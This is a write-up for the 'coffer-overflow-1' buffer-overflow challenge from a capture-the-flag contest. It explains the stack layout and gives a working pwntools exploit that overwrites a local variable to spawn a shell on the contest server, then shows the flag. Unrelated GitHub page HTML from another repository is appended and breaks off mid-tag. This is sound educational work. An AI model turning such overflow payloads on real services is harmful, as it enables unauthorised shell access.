# coffer-overflow-1 Author: [roerohan](https://github.com/roerohan) This is a simple buffer overflow challenge. # Requirements - Basic Buffer overflow. # Source - [coffer-overflow-1](./coffer-overflow-1). ```The coffers keep getting stronger! You'll need to use the source, Luke. nc 2020.redpwnc.tf 31255``` ```c#include <stdio.h>#include <string.h> int main(void){ long code = 0; char name[16]; setbuf(stdout, NULL); setbuf(stdin, NULL); setbuf(stderr, NULL); puts("Welcome to coffer overflow, where our coffers are overfilling with bytes ;)"); puts("What do you want to fill your coffer with?"); gets(name); if(code == 0xcafebabe) { system("/bin/sh"); }}``` # Exploitation Check out [coffer-overflow-0](../coffer-overflow-0) for some details. You can checkout how buffer overflow works [here](https://github.com/csivitu/Incore-Sessions/blob/master/Buffer%20Overflow/Session-1.md). We see in the code snippet that `name` is alloted 16 bytes, and `code` is alloted 8 bytes (long, 64-bit). Also, the `gets()` function is used, which does not check the size of the input. So, we can simply write past the space alloted for `name` and write into `code`, the value `0xcafebabe` in little endian. We can use `pwntools` for the same. As discussed in `coffer-overflow-0`, this function will take up 32 bytes in the stack. The last 8 will store `code`, so we can write 24 random characters followed by `0xcafebabe` in little endian. ```pythonimport pwn r = pwn.remote('2020.redpwnc.tf', 31255) rep = b'a'*24 + pwn.p64(0xcafebabe)print(rep)r.sendline(rep)r.interactive()``` Run this program using `python`. ```bash$ python cof1.py [+] Opening connection to 2020.redpwnc.tf on port 31255: Doneb'aaaaaaaaaaaaaaaaaaaaaaaa\xbe\xba\xfe\xca\x00\x00\x00\x00'[*] Switching to interactive modeWelcome to coffer overflow, where our coffers are overfilling with bytes ;)What do you want to fill your coffer with?$ lsMakefilebincoffer-overflow-1coffer-overflow-1.cdevflag.txtliblib32lib64$ cat flag.txtflag{th1s_0ne_wasnt_pure_gu3ssing_1_h0pe}``` The flag is: ```flag{th1s_0ne_wasnt_pure_gu3ssing_1_h0pe}```
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com"> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" /> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script> <title>CTF-writeups/zh3r0-20 at master · noob-atbash/CTF-writeups · GitHub</title> <meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)"> <meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6"> <meta name="request-id" content="AE54:12398:1AACC1F1:1B7DE4D9:64121F10" data-pjax-transient="true"/><meta name="html-safe-nonce" content="7d4e2e643baae9724b0f98dbfa7a6550ee8060b6c8b03541bac39751781bfb3f" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJBRTU0OjEyMzk4OjFBQUNDMUYxOjFCN0RFNEQ5OjY0MTIxRjEwIiwidmlzaXRvcl9pZCI6IjQwNjQzNzEyNDg4MTEyOTIzMiIsInJlZ2lvbl9lZGdlIjoiZnJhIiwicmVnaW9uX3JlbmRlciI6ImZyYSJ9" data-pjax-transient="true"/><meta name="visitor-hmac" content="b16a6ed114f06be41381b3d1422e21c3e4bb2de5963867f908e6c9e2026a9f8e" data-pjax-transient="true"/> <meta name="hovercard-subject-tag" content="repository:268353024" data-turbo-transient> <meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" /> <meta name="selected-link" value="repo_source" data-turbo-transient> <meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I"> <meta name="octolytics-url" content="https://collector.github.com/github/collect" /> <meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" /> <meta name="user-login" content=""> <meta name="viewport" content="width=device-width"> <meta name="description" content="Things we learned from Capture The Flag hacking competitions we participated in - CTF-writeups/zh3r0-20 at master · noob-atbash/CTF-writeups"> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/ac342befed4cf97ff0c7ddb1fbb300107da46a3c7a8154cbd039537ba9d43827/noob-atbash/CTF-writeups" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="CTF-writeups/zh3r0-20 at master · noob-atbash/CTF-writeups" /><meta name="twitter:description" content="Things we learned from Capture The Flag hacking competitions we participated in - CTF-writeups/zh3r0-20 at master · noob-atbash/CTF-writeups" /> <meta property="og:image" content="https://opengraph.githubassets.com/ac342befed4cf97ff0c7ddb1fbb300107da46a3c7a8154cbd039537ba9d43827/noob-atbash/CTF-writeups" /><meta property="og:image:alt" content="Things we learned from Capture The Flag hacking competitions we participated in - CTF-writeups/zh3r0-20 at master · noob-atbash/CTF-writeups" /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="CTF-writeups/zh3r0-20 at master · noob-atbash/CTF-writeups" /><meta property="og:url" content="https://github.com/noob-atbash/CTF-writeups" /><meta property="og:description" content="Things we learned from Capture The Flag hacking competitions we participated in - CTF-writeups/zh3r0-20 at master · noob-atbash/CTF-writeups" /> <link rel="assets" href="https://github.githubassets.com/"> <meta name="hostname" content="github.com"> <meta name="expected-hostname" content="github.com"> <meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS"> <meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload"> <meta name="turbo-cache-control" content="no-preview" data-turbo-transient=""> <meta data-hydrostats="publish"> <meta name="go-import" content="github.com/noob-atbash/CTF-writeups git https://github.com/noob-atbash/CTF-writeups.git"> <meta name="octolytics-dimension-user_id" content="64429282" /><meta name="octolytics-dimension-user_login" content="noob-atbash" /><meta name="octolytics-dimension-repository_id" content="268353024" /><meta name="octolytics-dimension-repository_nwo" content="noob-atbash/CTF-writeups" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="268353024" /><meta name="octolytics-dimension-repository_network_root_nwo" content="noob-atbash/CTF-writeups" /> <link rel="canonical" href="https://github.com/noob-atbash/CTF-writeups/tree/master/zh3r0-20" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive"> <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats"> <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors"> <meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors"> <link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg"> <meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" /> <link rel="manifest" href="/manifest.json" crossOrigin="use-credentials"> </head> <body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button> <div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <div class="flex-1"> Sign up </div> <div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div> <div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide"> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 